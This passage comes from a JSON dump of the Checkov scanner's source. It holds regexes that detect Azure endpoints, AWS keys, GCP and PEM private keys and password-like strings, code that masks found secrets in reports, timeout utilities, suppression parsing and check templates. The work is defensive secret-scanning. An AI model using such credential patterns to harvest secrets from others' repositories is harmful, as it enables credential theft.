\"(\\\"|')?.*[0-9a-zA-Z]{2,256}[.][q|Q][u|U][e|E][u|U][e|E][.][c|C][o|O][r|R][e|E][.][w|W][i|I][n|N][d|D][o|O][w|W][s|S][.][n|N][e|E][t|T](\\\"|')?\",\n        \"(\\\"|')?.*[0-9a-zA-Z]{2,256}[.][t|T][a|A][b|B][l|L][e|E][.][c|C][o|O][r|R][e|E][.][w|W][i|I][n|N][d|D][o|O][w|W][s|S][.][n|N][e|E][t|T](\\\"|')?\",\n        \"(\\\"|')?.*[0-9a-zA-Z]{2,256}[.][d|D][a|A][t|T][a|A][b|B][a|A][s|S][e|E][.][w|W][i|I][n|N][d|D][o|O][w|W][s|S][.][n|N][e|E][t|T](\\\"|')?\",\n        \"(\\\"|')?.*[0-9a-zA-Z]{2,256}[.][s|S][e|E][r|R][v|V][i|I][c|C][e|E][b|B][u|U][s|S][.][w|W][i|I][n|N][d|D][o|O][w|W][s|S][.][n|N][e|E][t|T](\\\"|')?\",\n        \"(\\\"|')?.*[0-9a-zA-Z]{2,256}[.][t|T][i|I][m|M][e|E][s|S][e|E][r|R][i|I][e|E][s|S][.][a|A][z|Z][u|U][r|R][e|E][.][c|C][o|O][m|M](\\\"|')?\",\n        \"(\\\"|')?.*[0-9a-zA-Z]{2,256}[.][a|T][c|C][c|C][e|E][s|S][s|S][c|C][o|O][n|N][t|T][r|R][o|O][l|L][.][w|W][i|I][n|N][d|D][o|O][w|W][s|S][.][n|N][e|E][t|T](\\\"|')?\",\n        \"(\\\"|')?.*[0-9a-zA-Z]{2,256}[.][a|A][z|Z][u|U][r|R][e|E][h|H][d|D][i|I][n|N][s|S][i|I][g|G][h|H][t|T][.][n|N][e|E][t|T](\\\"|')?\",\n        \"(\\\"|')?.*[0-9a-zA-Z]{2,256}[.][c|C][l|L][o|O][u|U][d|D][a|A][p|P][p|P][.][a|A][z|Z][u|U][r|R][e|E][.][c|C][o|O][m|M](\\\"|')?\",\n        \"(\\\"|')?.*[0-9a-zA-Z]{2,256}[.][c|C][l|L][o|O][u|U][d|D][a|A][p|P][p|P][.][n|N][e|E][t|T](\\\"|')?\",\n        \"(\\\"|')?.*[0-9a-zA-Z]{2,256}[.][d|D][o|O][c|C][u|U][m|M][e|E][n|N][t|T][s|S][.][a|A][z|Z][u|U][r|R][e|E][.][c|C][o|O][m|M](\\\"|')?\",\n    ],\n\n    'aws': [\n        \"(?<![A-Za-z0-9/+=])[A-Za-z0-9/+=]{40}(?![A-Za-z0-9/+=])\",  # AWS secret access key\n        \"(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}\",  # AWS access key ID\n        \"(\\\"|')?(AWS|aws|Aws)?_?(SECRET|secret|Secret)?_?(ACCESS|access|Access)?_?(KEY|key|Key)(\\\"|')?\\\\s*(:|=>|=)\\\\s*(\\\"|')?[A-Za-z0-9/\\\\+=]{40}(\\\"|')?\",\n        \"(\\\"|')?(AWS|aws|Aws)?_?(ACCOUNT|account|Account)_?(ID|id|Id)?(\\\"|')?\\\\s*(:|=>|=)\\\\s*(\\\"|')?[0-9]{4}\\\\-?[0-9]{4}\\\\-?[0-9]{4}(\\\"|')?\"\n    ],\n\n    'gcp': [\n        \"\\bprivate_key.*\\b\"\n    ],\n\n    'general': [\n        \"^-----BEGIN (RSA|EC|DSA|GPP) PRIVATE KEY-----$\",\n    ],\n\n    'password': [\n        r\"[A-Za-z0-9+/]{40,}={0,2}\",  # Base64 encoded string\n        r\"[0-9a-fA-F]{32,}\",  # MD5 hash or similar\n        r\"(?=.*[a-z])(?=.*[A-Z])(?=.*\\d)(?=.*[@$!%*?&])[A-Za-z\\d@$!%*?&]{8,}\",  # Strong password pattern\n        r\"[A-Za-z0-9]{20,}\",  # Long alphanumeric string\n    ]\n}\n\n# first compile each unique regex while maintaining the mapping\n_patterns = {k: [re.compile(p, re.DOTALL) for p in v] for k, v in _secrets_regexes.items()}\n\n# now combine all the compiled patterns into one long list\n_patterns['all'] = list(itertools.chain.from_iterable(_patterns.values()))\n\n_hash_patterns = [re.compile(regex, re.IGNORECASE) for regex in ('^[a-f0-9]{32}$', '^[a-f0-9]{40}$')]\n\n\ndef is_hash(s: str) -> bool:\n    \"\"\"\n    Checks whether a string is a MD5 or SHA1 hash\n\n    :param s:\n    :return:\n    \"\"\"\n    return any(pattern.search(s) for pattern in _hash_patterns)\n\n\ndef string_has_secrets(s: str, *categories: str) -> bool:\n    \"\"\"\n    Check whether the specified string has any matches for the regexes in the specified category(ies).\n\n    If categories is blank, then this method checks all categories. It is recommended to use the category constants\n    provided.\n\n    Examples:\n    string_has_secrets(some_string) -> checks all regexes\n    string_has_secrets(some_string, AWS, GENERAL) -> checks only AWS and general regexes.\n\n    :param s:\n    :param categories:\n    :return:\n    \"\"\"\n\n    if is_hash(s):\n        return False\n\n    # set a default if no category is provided; or, if categories were provided and they include 'all', then just set it\n    # explicitly so we don't do any duplication\n    if not categories or \"all\" in categories:\n        categories = (\"all\",)\n\n    for c in categories:\n        if any([pattern.search(s) for pattern in _patterns[c]]):\n            return True\n    return False\n\n\ndef omit_multiple_secret_values_from_line(secrets: set[str], line_text: str) -> str:\n    censored_line = line_text\n    for secret in secrets:\n        censored_line = omit_secret_value_from_line(secret, censored_line)\n    return censored_line\n\n\ndef omit_secret_value_from_line(secret: str | None, line_text: str) -> str:\n    if not secret or not isinstance(secret, str):\n        return line_text\n\n    secret_length = len(secret)\n    secret_len_to_expose = min(secret_length // 4, 6)  # no more than 6 characters should be exposed\n\n    try:\n        secret_index = line_text.index(secret)\n    except ValueError:\n        try:\n            secret_index = line_text.index(json.dumps(secret))\n        except ValueError:\n            return line_text\n\n    censored_line = f'{line_text[:secret_index + secret_len_to_expose]}' \\\n                    f'{\"*\" * GENERIC_OBFUSCATION_LENGTH}' \\\n                    f'{line_text[secret_index + secret_length:]}'\n    return censored_line\n\n\ndef omit_secret_value_from_checks(\n        check: BaseCheck,\n        check_result: dict[str, CheckResult] | _CheckResult,\n        entity_code_lines: list[tuple[int, str]],\n        entity_config: dict[str, Any] | ParameterAttributes | ResourceAttributes,\n        resource_attributes_to_omit: ResourceAttributesToOmit | None = None\n) -> list[tuple[int, str]]:\n    # a set, to efficiently avoid duplicates in case the same secret is found in the following conditions\n    secrets = set()\n    censored_code_lines = []\n\n    if CheckCategories.SECRETS in check.categories and check_result.get('result') == CheckResult.FAILED:\n        secrets.update([str(secret) for key, secret in entity_config.items() if\n                        key.startswith(f'{check.id}_secret')])\n\n    if resource_attributes_to_omit:\n        universal_mask = resource_attributes_to_omit.get(RESOURCE_ATTRIBUTES_TO_OMIT_UNIVERSAL_MASK, set())\n        resource_masks = resource_attributes_to_omit.get(check.entity_type, set())\n        resource_masks.update(universal_mask)\n        for key, secret in entity_config.items():\n            if key not in resource_masks:\n                continue\n            if isinstance(secret, list) and secret:\n                if not isinstance(secret[0], str):\n                    logging.debug(f\"Secret value can't be masked, has type {type(secret)}\")\n                    continue\n\n                secrets.add(secret[0])\n\n    if not secrets:\n        logging.debug(f\"Secret was not saved in {check.id}, can't omit\")\n        return entity_code_lines\n\n    for idx, line in entity_code_lines:\n        censored_line = omit_multiple_secret_values_from_line(secrets, line)\n        censored_code_lines.append((idx, censored_line))\n\n    return censored_code_lines\n\n\ndef omit_secret_value_from_graph_checks(\n        check: BaseGraphCheck,\n        check_result: dict[str, CheckResult] | _CheckResult,\n        entity_code_lines: list[tuple[int, str]],\n        entity_config: dict[str, Any] | ParameterAttributes | ResourceAttributes,\n        resource_attributes_to_omit: ResourceAttributesToOmit | None = None\n) -> list[tuple[int, str]]:\n    # a set, to efficiently avoid duplicates in case the same secret is found in the following conditions\n    secrets = set()\n    censored_code_lines = []\n\n    if check.category == CheckCategories.SECRETS.name and check_result.get('result') == CheckResult.FAILED:\n        secrets = {\n            str(secret) for key, secret in entity_config.items()\n            if key.startswith(f'{check.id}_secret')\n        }\n\n    if resource_attributes_to_omit:\n        # Universal mask ('*') might exist in resource_attributes_to_omit. If it does exist, we need to mask all the\n        # entities in resource types according to resource_attributes_to_omit.get('*')\n        universal_mask = set(resource_attributes_to_omit.get(RESOURCE_ATTRIBUTES_TO_OMIT_UNIVERSAL_MASK, set()))\n        for resource in check.resource_types:\n            resource_masks = set(resource_attributes_to_omit.get(resource, set()))\n            # resource_masks should contain all mask rules that should apply on this resource\n            resource_masks.update(universal_mask)\n            if not resource_masks:\n                continue\n            # If entity is one that should be masked, we add it the value to secrets\n            for attribute, secret in entity_config.items():\n                if attribute in resource_masks:\n                    if isinstance(secret, list) and secret:\n                        if not isinstance(secret[0], str):\n                            logging.debug(f\"Secret value can't be masked, has type {type(secret)}\")\n                            continue\n\n                        secrets.add(secret[0])\n\n    if not secrets:\n        logging.debug(f\"Secret was not saved in {check.id}, can't omit\")\n        return entity_code_lines\n\n    for idx, line in entity_code_lines:\n        censored_line = omit_multiple_secret_values_from_line(secrets, line)\n        censored_code_lines.append((idx, censored_line))\n\n    return censored_code_lines\n\n\ndef get_secrets_from_string(s: str, *categories: str) -> list[str]:\n    # set a default if no category is provided; or, if categories were provided and they include 'all', then just set it\n    # explicitly so we don't do any duplication\n    if is_hash(s):\n        return []\n\n    if not categories or \"all\" in categories:\n        categories = (\"all\",)\n\n    secrets: set[str] = set()  # Change to a set for automatic deduplication\n    for c in categories:\n        for pattern in _patterns[c]:\n            secrets.update(str(match.group()) for match in pattern.finditer(s))\n    return list(secrets)  # Convert set back to list before returning\n"
  },
  {
    "path": "checkov/common/util/secrets_omitter.py",
    "content": "from __future__ import annotations\n\nimport itertools\nimport logging\nfrom enum import Enum\nfrom typing import Iterator, TYPE_CHECKING, Any\n\nfrom checkov.common.bridgecrew.check_type import CheckType\n\nif TYPE_CHECKING:\n    from checkov.common.output.record import Record\n    from checkov.common.output.report import Report\n\n\nclass SecretsOmitterStatus(Enum):\n    SUCCESS = 0\n    INSUFFICIENT_REPORTS = 1\n\n\nclass SecretsOmitter:\n    def __init__(self, reports: list[Report]):\n        self.reports: list[Report] = [report for report in reports if report.check_type != CheckType.SECRETS]\n        self.secrets_report: dict[str, Any] | None = self._get_secrets_report(reports)\n\n    @staticmethod\n    def _get_secrets_report(reports: list[Report]) -> dict[str, Any] | None:\n        \"\"\"\n        Setting the secrets report from checkov runner or bucket\n        \"\"\"\n        secrets_report_list = [report for report in reports if report.check_type == CheckType.SECRETS]\n        return secrets_report_list[0].get_dict(full_report=True) if len(secrets_report_list) == 1 else None\n\n    def _secret_check(self) -> Iterator[dict[str, Any]]:\n        if not self.secrets_report:\n            # Should not reach here, used for typing\n            return\n\n        for check in self.secrets_report.get(\"checks\", {}).get(\"failed_checks\"):\n            yield check\n\n    def _non_secret_check(self) -> Iterator[Record]:\n        for report in self.reports:\n            for check in itertools.chain(report.failed_checks, report.passed_checks):\n                yield check\n\n    @staticmethod\n    def get_secret_lines(code_block: list[tuple[int, str]] | None) -> tuple[list[int], list[str]]:\n        \"\"\"\n        Given a code block object, returns the lines containing asterisks including the line range\n        :param code_block: list of tuples containing line number and the line itself\n        :return: list of size 2, representing the range of lines containing secrets from code_block,\n         and a list containing the lines from the range.\n        \"\"\"\n        secret_lines_range = [-1, -1]\n        secrets_lines: list[str] = []\n        if not code_block:\n            return secret_lines_range, secrets_lines\n\n        for idx, line in code_block:\n            if '*' in line:\n                secrets_lines.append(line)\n                if secret_lines_range[0] == -1:\n                    secret_lines_range[0] = idx\n                else:\n                    secret_lines_range[1] = idx\n        if secret_lines_range[1] == -1:\n            secret_lines_range[1] = secret_lines_range[0]\n\n        return secret_lines_range, secrets_lines\n\n    @staticmethod\n    def _line_range_overlaps(r1: list[int], r2: list[int]) -> bool:\n        return r1[0] <= r2[1] and r1[1] >= r2[0]\n\n    def omit(self) -> SecretsOmitterStatus:\n        if not self.reports or not self.secrets_report:\n            logging.debug(\"Insufficient reports to omit secrets\")\n            return SecretsOmitterStatus.INSUFFICIENT_REPORTS\n\n        files_with_secrets: set[str] = {secret_check.get(\"file_path\", \"\") for secret_check in self._secret_check()}\n        for check in self._non_secret_check():\n            check_file_path = check.file_path\n            check_abs_file_path = check.file_abs_path\n            check_line_range = check.file_line_range\n\n            if (check_file_path not in files_with_secrets and check_abs_file_path not in files_with_secrets)\\\n                    or not check_line_range or None in check_line_range:\n                continue\n\n            for secret_check in self._secret_check():\n                secret_check_file_path = secret_check.get(\"file_path\", \"\")\n                secret_check_line_range, secrets_check_lines = self.get_secret_lines(secret_check.get(\"code_block\"))\n                if secret_check_line_range == [-1, -1]:\n                    continue\n\n                if secret_check_file_path not in (check_file_path, check_abs_file_path) or \\\n                        not self._line_range_overlaps(secret_check_line_range, check_line_range):\n                    continue\n\n                if len(secrets_check_lines) != secret_check_line_range[1] - secret_check_line_range[0] + 1:\n                    logging.error(\"Secrets lines does not match the length of the line range, sanity check failed\")\n                    continue\n\n                for secret_line_index, omitted_line in \\\n                        zip(list(range(secret_check_line_range[0], secret_check_line_range[1] + 1)),  # noqa: B905\n                            secrets_check_lines):\n                    for entry_index, (line_index, _) in enumerate(check.code_block):\n                        if secret_line_index == line_index:\n                            check.code_block[entry_index] = (line_index, omitted_line)\n\n        return SecretsOmitterStatus.SUCCESS\n"
  },
  {
    "path": "checkov/common/util/stopit/__init__.py",
    "content": "# -*- coding: utf-8 -*-\n\"\"\"\n======\nstopit\n======\n\ncode from:\nhttps://github.com/glenfant/stopit\npackage:\nhttps://pypi.org/project/stopit\n\nPublic resources from ``stopit``\n\"\"\"\n\nfrom .utils import TimeoutException\nfrom .threadstop import ThreadingTimeout, async_raise, threading_timeoutable\nfrom .signalstop import SignalTimeout, signal_timeoutable\n\n\n__all__ = (\n    'ThreadingTimeout', 'async_raise', 'threading_timeoutable',\n    'SignalTimeout', 'signal_timeoutable', 'TimeoutException'\n)\n"
  },
  {
    "path": "checkov/common/util/stopit/signalstop.py",
    "content": "# -*- coding: utf-8 -*-\n\"\"\"\n=================\nstopit.signalstop\n=================\n\nControl the timeout of blocks or callables with a context manager or a\ndecorator. Based on the use of signal.SIGALRM\n\"\"\"\n\nfrom __future__ import annotations\n\nimport signal\nfrom typing import TYPE_CHECKING\n\nfrom .utils import TimeoutException, BaseTimeout, base_timeoutable\n\nif TYPE_CHECKING:\n    from types import FrameType\n\n\nclass SignalTimeout(BaseTimeout):\n    \"\"\"Context manager for limiting in the time the execution of a block\n    using signal.SIGALRM Unix signal.\n\n    See :class:`stopit.utils.BaseTimeout` for more information\n    \"\"\"\n\n    def __init__(self, seconds: int, swallow_exc: bool = True) -> None:\n        seconds = int(seconds)  # alarm delay for signal MUST be int\n        super().__init__(seconds, swallow_exc)\n\n    def handle_timeout(self, signum: int, frame: FrameType | None) -> None:\n        self.state = self.TIMED_OUT\n        raise TimeoutException(f\"Block exceeded maximum timeout value ({self.seconds} seconds).\")\n\n    # Required overrides\n    def setup_interrupt(self) -> None:\n        signal.signal(signal.SIGALRM, self.handle_timeout)\n        signal.alarm(self.seconds)\n\n    def suppress_interrupt(self) -> None:\n        signal.alarm(0)\n        signal.signal(signal.SIGALRM, signal.SIG_DFL)\n\n\nclass signal_timeoutable(base_timeoutable):  # noqa: B903\n    \"\"\"A function or method decorator that raises a ``TimeoutException`` to\n    decorated functions that should not last a certain amount of time.\n    this one uses ``SignalTimeout`` context manager.\n\n    See :class:`.utils.base_timoutable`` class for further comments.\n    \"\"\"\n    def __init__(self) -> None:\n        super().__init__()\n        self.to_ctx_mgr = SignalTimeout\n"
  },
  {
    "path": "checkov/common/util/stopit/threadstop.py",
    "content": "# -*- coding: utf-8 -*-\n\"\"\"\n=================\nstopit.threadstop\n=================\n\nRaise asynchronous exceptions in other thread, control the timeout of blocks\nor callables with a context manager or a decorator.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport ctypes\nimport threading\n\nfrom .utils import TimeoutException, BaseTimeout, base_timeoutable\n\n\ndef async_raise(target_tid: int, exception: type[Exception]) -> None:\n    \"\"\"Raises an asynchronous exception in another thread.\n    Read http://docs.python.org/c-api/init.html#PyThreadState_SetAsyncExc\n    for further enlightenments.\n\n    :param target_tid: target thread identifier\n    :param exception: Exception class to be raised in that thread\n    \"\"\"\n    # Ensuring and releasing GIL are useless since we're not in C\n    # gil_state = ctypes.pythonapi.PyGILState_Ensure()\n    ret = ctypes.pythonapi.PyThreadState_SetAsyncExc(ctypes.c_long(target_tid),\n                                                     ctypes.py_object(exception))\n    # ctypes.pythonapi.PyGILState_Release(gil_state)\n    if ret == 0:\n        raise ValueError(f\"Invalid thread ID {target_tid}\")\n    elif ret > 1:\n        ctypes.pythonapi.PyThreadState_SetAsyncExc(ctypes.c_long(target_tid), None)\n        raise SystemError(\"PyThreadState_SetAsyncExc failed\")\n\n\nclass ThreadingTimeout(BaseTimeout):\n    \"\"\"Context manager for limiting in the time the execution of a block\n    using asynchronous threads launching exception.\n\n    See :class:`stopit.utils.BaseTimeout` for more information\n    \"\"\"\n    def __init__(self, seconds: int, swallow_exc: bool = True) -> None:\n        super().__init__(seconds, swallow_exc)\n        self.target_tid = threading.current_thread().ident\n        self.timer: \"threading.Timer | None\" = None  # PEP8\n\n    def stop(self) -> None:\n        \"\"\"Called by timer thread at timeout. Raises a Timeout exception in the\n        caller thread\n        \"\"\"\n        self.state = self.TIMED_OUT\n        if self.target_tid is not None:\n            async_raise(self.target_tid, TimeoutException)\n\n    # Required overrides\n    def setup_interrupt(self) -> None:\n        \"\"\"Setting up the resource that interrupts the block\n        \"\"\"\n        self.timer = threading.Timer(self.seconds, self.stop)\n        self.timer.start()\n\n    def suppress_interrupt(self) -> None:\n        \"\"\"Removing the resource that interrupts the block\n        \"\"\"\n        if self.timer:\n            self.timer.cancel()\n\n\nclass threading_timeoutable(base_timeoutable):  # noqa: B903\n    \"\"\"A function or method decorator that raises a ``TimeoutException`` to\n    decorated functions that should not last a certain amount of time.\n    this one uses ``ThreadingTimeout`` context manager.\n\n    See :class:`.utils.base_timoutable`` class for further comments.\n    \"\"\"\n    def __init__(self) -> None:\n        super().__init__()\n        self.to_ctx_mgr = ThreadingTimeout\n"
  },
  {
    "path": "checkov/common/util/stopit/utils.py",
    "content": "# -*- coding: utf-8 -*-\n\"\"\"\n============\nstopit.utils\n============\n\nMisc utilities and common resources\n\"\"\"\n\nfrom __future__ import annotations\n\nimport functools\nimport logging\nfrom logging import NullHandler\nfrom typing import TYPE_CHECKING, Any, TypeVar, Callable, cast\n\nfrom typing_extensions import ParamSpec, Self\n\nfrom checkov.common.resource_code_logger_filter import add_resource_code_filter_to_logger\n\nif TYPE_CHECKING:\n    from types import TracebackType\n\nT = TypeVar(\"T\")\nP = ParamSpec(\"P\")\n\n# Custom logger\nLOG = logging.getLogger(name='stopit')\nLOG.addHandler(NullHandler())\nadd_resource_code_filter_to_logger(LOG)\n\n\nclass TimeoutException(Exception):\n    \"\"\"Raised when the block under context management takes longer to complete\n    than the allowed maximum timeout value.\n    \"\"\"\n    pass\n\n\nclass BaseTimeout:\n    \"\"\"Context manager for limiting in the time the execution of a block\n\n    :param seconds: ``float`` or ``int`` duration enabled to run the context\n      manager block\n    :param swallow_exc: ``False`` if you want to manage the\n      ``TimeoutException`` (or any other) in an outer ``try ... except``\n      structure. ``True`` (default) if you just want to check the execution of\n      the block with the ``state`` attribute of the context manager.\n    \"\"\"\n\n    def __init__(self, seconds: int, swallow_exc: bool = True) -> None:\n\n        # Possible values for the ``state`` attribute, self explanative\n        self.EXECUTED, self.EXECUTING, self.TIMED_OUT, self.INTERRUPTED, self.CANCELED = range(5)\n\n        self.seconds = seconds\n        self.swallow_exc = swallow_exc\n        self.state = self.EXECUTED\n\n    def __bool__(self) -> bool:\n        return self.state in (self.EXECUTED, self.EXECUTING, self.CANCELED)\n\n    def __repr__(self) -> str:\n        \"\"\"Debug helper\n        \"\"\"\n        return f\"<{self.__class__.__name__} in state: {self.state}>\"\n\n    def __enter__(self) -> Self:\n        self.state = self.EXECUTING\n        self.setup_interrupt()\n        return self\n\n    def __exit__(self, exc_type: type[BaseException], exc_val: BaseException, exc_tb: TracebackType | None) -> bool:\n        if exc_type is TimeoutException:\n            if self.state != self.TIMED_OUT:\n                self.state = self.INTERRUPTED\n                self.suppress_interrupt()\n            LOG.warning(\n                f\"Code block execution exceeded {self.seconds} seconds timeout\",\n                exc_info=(exc_type, exc_val, exc_tb),\n            )\n            return self.swallow_exc\n        else:\n            if exc_type is None:\n                self.state = self.EXECUTED\n            self.suppress_interrupt()\n        return False\n\n    def cancel(self) -> None:\n        \"\"\"In case in the block you realize you don't need anymore\n       limitation\"\"\"\n        self.state = self.CANCELED\n        self.suppress_interrupt()\n\n    # Methods must be provided by subclasses\n    def suppress_interrupt(self) -> None:\n        \"\"\"Removes/neutralizes the feature that interrupts the executed block\n        \"\"\"\n        raise NotImplementedError\n\n    def setup_interrupt(self) -> None:\n        \"\"\"Installs/initializes the feature that interrupts the executed block\n        \"\"\"\n        raise NotImplementedError\n\n\nclass base_timeoutable:\n    \"\"\"A base for function or method decorator that raises a ``TimeoutException`` to\n    decorated functions that should not last a certain amount of time.\n\n    Any decorated callable may receive a ``timeout`` optional parameter that\n    specifies the number of seconds allocated to the callable execution.\n\n    The decorated functions that exceed that timeout return ``None`` or the\n    value provided by the decorator.\n\n    :param default: The default value in case we timed out during the decorated\n      function execution. Default is None.\n\n    :param timeout_param: As adding dynamically a ``timeout`` named parameter\n      to the decorated callable may conflict with the callable signature, you\n      may choose another name to provide that parameter. Your decoration line\n      could look like ``@timeoutable(timeout_param='my_timeout')``\n\n    .. note::\n\n       This is a base class that must be subclassed. subclasses must override\n       thz ``to_ctx_mgr`` with a timeout  context manager class which in turn\n       must subclasses of above ``BaseTimeout`` class.\n    \"\"\"\n\n    def __init__(self, default: Any = None, timeout_param: str = 'timeout') -> None:\n        self.to_ctx_mgr: \"type[BaseTimeout] | None\" = None\n        self.default, self.timeout_param = default, timeout_param\n\n    def __call__(self, func: Callable[P, T]) -> Callable[P, T | Any]:\n        @functools.wraps(func)\n        def wrapper(*args: P.args, **kwargs: P.kwargs) -> T | Any:\n            timeout = cast(int, kwargs.pop(self.timeout_param, 0))\n            if timeout:\n                if not self.to_ctx_mgr:\n                    return self.default\n\n                with self.to_ctx_mgr(timeout, swallow_exc=True):\n                    result = self.default\n                    # ``result`` may not be assigned below in case of timeout\n                    result = func(*args, **kwargs)\n                return result\n            else:\n                return func(*args, **kwargs)\n        return wrapper\n"
  },
  {
    "path": "checkov/common/util/str_utils.py",
    "content": "import re\n\nseconds_per_unit = {\"s\": 1, \"m\": 60, \"h\": 3600, \"d\": 86400, \"w\": 604800}\nseconds_per_unit_regex = r\"^\\d+[s|m|h|d|w]\"\n\n\n# method 'str.removeprefix()' was added in Python 3.9\ndef removeprefix(input_str: str, prefix: str) -> str:\n    if input_str.startswith(prefix):\n        return input_str[len(prefix):]\n    return input_str\n\n\n# in case of comparing paths from the BE and from the client, we have to make sure the structures are the same\n# e.g: in windows the separator for the path is '\\' while in linux/max it is '/'\ndef align_path(path: str) -> str:\n    return path.replace('\\\\', '/')\n\n\ndef convert_to_seconds(input_str: str) -> int:\n    if re.search(seconds_per_unit_regex, input_str) is None:\n        raise Exception(f\"format error for input str, usage: {seconds_per_unit_regex}\")\n    return int(input_str[:-1]) * seconds_per_unit[input_str[-1]]\n"
  },
  {
    "path": "checkov/common/util/suppression.py",
    "content": "from __future__ import annotations\n\nimport re\nfrom collections.abc import Iterable\n\nfrom checkov.common.bridgecrew.integration_features.features.policy_metadata_integration import (\n    integration as metadata_integration,\n)\nfrom checkov.common.comment.enum import COMMENT_REGEX\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.common.typing import _CheckResult, _SkippedCheck\n\n\ndef collect_suppressions_for_report(code_lines: list[tuple[int, str]]) -> dict[str, _CheckResult]:\n    \"\"\"Searches for suppressions in a config block to be used in a report\"\"\"\n\n    suppressions = {}\n\n    for _, line in code_lines:\n        skip_search = re.search(COMMENT_REGEX, line)\n        if skip_search:\n            check_result: _CheckResult = {\n                \"result\": CheckResult.SKIPPED,\n                \"suppress_comment\": skip_search.group(3)[1:] if skip_search.group(3) else \"No comment provided\",\n            }\n            suppressions[skip_search.group(2)] = check_result\n\n    return suppressions\n\n\ndef collect_suppressions_for_context(code_lines: Iterable[tuple[int, int | str]]) -> list[_SkippedCheck]:\n    \"\"\"Searches for suppressions in a config block to be used in a context\"\"\"\n\n    skipped_checks = []\n    bc_id_mapping = metadata_integration.bc_to_ckv_id_mapping\n    for line_number, line_text in code_lines:\n        skip_search = re.search(COMMENT_REGEX, str(line_text))\n        if skip_search:\n            skipped_check: _SkippedCheck = {\n                \"id\": skip_search.group(2),\n                \"suppress_comment\": skip_search.group(3)[1:] if skip_search.group(3) else \"No comment provided\",\n                \"line_number\": line_number\n            }\n            # No matter which ID was used to skip, save the pair of IDs in the appropriate fields\n            if bc_id_mapping and skipped_check[\"id\"] in bc_id_mapping:\n                skipped_check[\"bc_id\"] = skipped_check[\"id\"]\n                skipped_check[\"id\"] = bc_id_mapping[skipped_check[\"id\"]]\n            elif metadata_integration.check_metadata:\n                skipped_check[\"bc_id\"] = metadata_integration.get_bc_id(skipped_check[\"id\"])\n\n            skipped_checks.append(skipped_check)\n\n    return skipped_checks\n"
  },
  {
    "path": "checkov/common/util/templates/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/common/util/templates/data.jinja2",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.data.base_check import BaseDataCheck\n\n\nclass {{title}}(BaseDataCheck):\n    def __init__(self):\n        # This is the full description of your check\n        description = \"{{desc}}\"\n\n        # This is the Unique ID for your check\n        id = \"CKV_{{provider}}_{{index}}\"\n\n        # These are the terraform objects supported by this check (ex: aws_iam_policy_document)\n        supported_data = ['{{supported_resource}}']\n\n        # Valid CheckCategories checkov/common/models/enums.py\n        categories = [CheckCategories.{{category}}]\n        super().__init__(name=description, id=id, categories=categories, supported_data=supported_data)\n\n    def scan_data_conf(self, conf):\n        # Replace this with the custom logic for your test\n        key = 'statement'\n        if key in conf.keys():\n            for statement in conf[key]:\n                return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = {{title}}()\n"
  },
  {
    "path": "checkov/common/util/templates/init.jinja2",
    "content": "from os.path import dirname, basename, isfile, join\nimport glob\nmodules = glob.glob(join(dirname(__file__), \"*.py\"))\n__all__ = [basename(f)[:-3] for f in modules if isfile(f) and not f.endswith('__init__.py')]\n"
  },
  {
    "path": "checkov/common/util/templates/provider.jinja2",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseProviderCheck\n\n\nclass {{title}}(BaseResourceCheck):\n    def __init__(self):\n        # This is the full description of your check\n        description = \"{{desc}}\"\n\n        # This is the Unique ID for your check\n        id = \"CKV_{{provider}}_{{index}}\"\n\n        # These are the terraform objects supported by this check (ex: aws_iam_policy_document)\n        supported_provider = ['{{supported_resource}}']\n\n        # Valid CheckCategories are defined in checkov/common/models/enums.py\n        categories = [CheckCategories.{{category}}]\n        super().__init__(name=description, id=id, categories=categories, supported_provider=supported_provider)\n\n    def scan_provider_conf(self, conf):\n        # Replace this with the custom logic for your check\n        if 'policy' in conf.keys():\n            return CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n\ncheck = {{title}}()\n"
  },
  {
    "path": "checkov/common/util/templates/resource.jinja2",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass {{title}}(BaseResourceCheck):\n    def __init__(self):\n        # This is the full description of your check\n        description = \"{{desc}}\"\n\n        # This is the Unique ID for your check\n        id = \"CKV_{{provider}}_{{index}}\"\n\n        # These are the terraform objects supported by this check (ex: aws_iam_policy_document)\n        supported_resources = ['{{supported_resource}}']\n\n        # Valid CheckCategories are defined in checkov/common/models/enums.py\n        categories = [CheckCategories.{{category}}]\n        super().__init__(name=description, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        # Replace this with the custom logic for your check\n        if 'policy' in conf.keys():\n            return CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n\ncheck = {{title}}()\n"
  },
  {
    "path": "checkov/common/util/templates/unittest-python.jinja2",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.{{check_class}}.checks.{{context}}.{{provider}}.{{title}} import check\n\n\nclass Test{{title}}(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_{{title}}\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            '{{supported_resource}}.ckv_unittest_pass'\n        }\n        failing_resources = {\n            '{{supported_resource}}.ckv_unittest_fail',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "checkov/common/util/templates/unittest-terraform.jinja2",
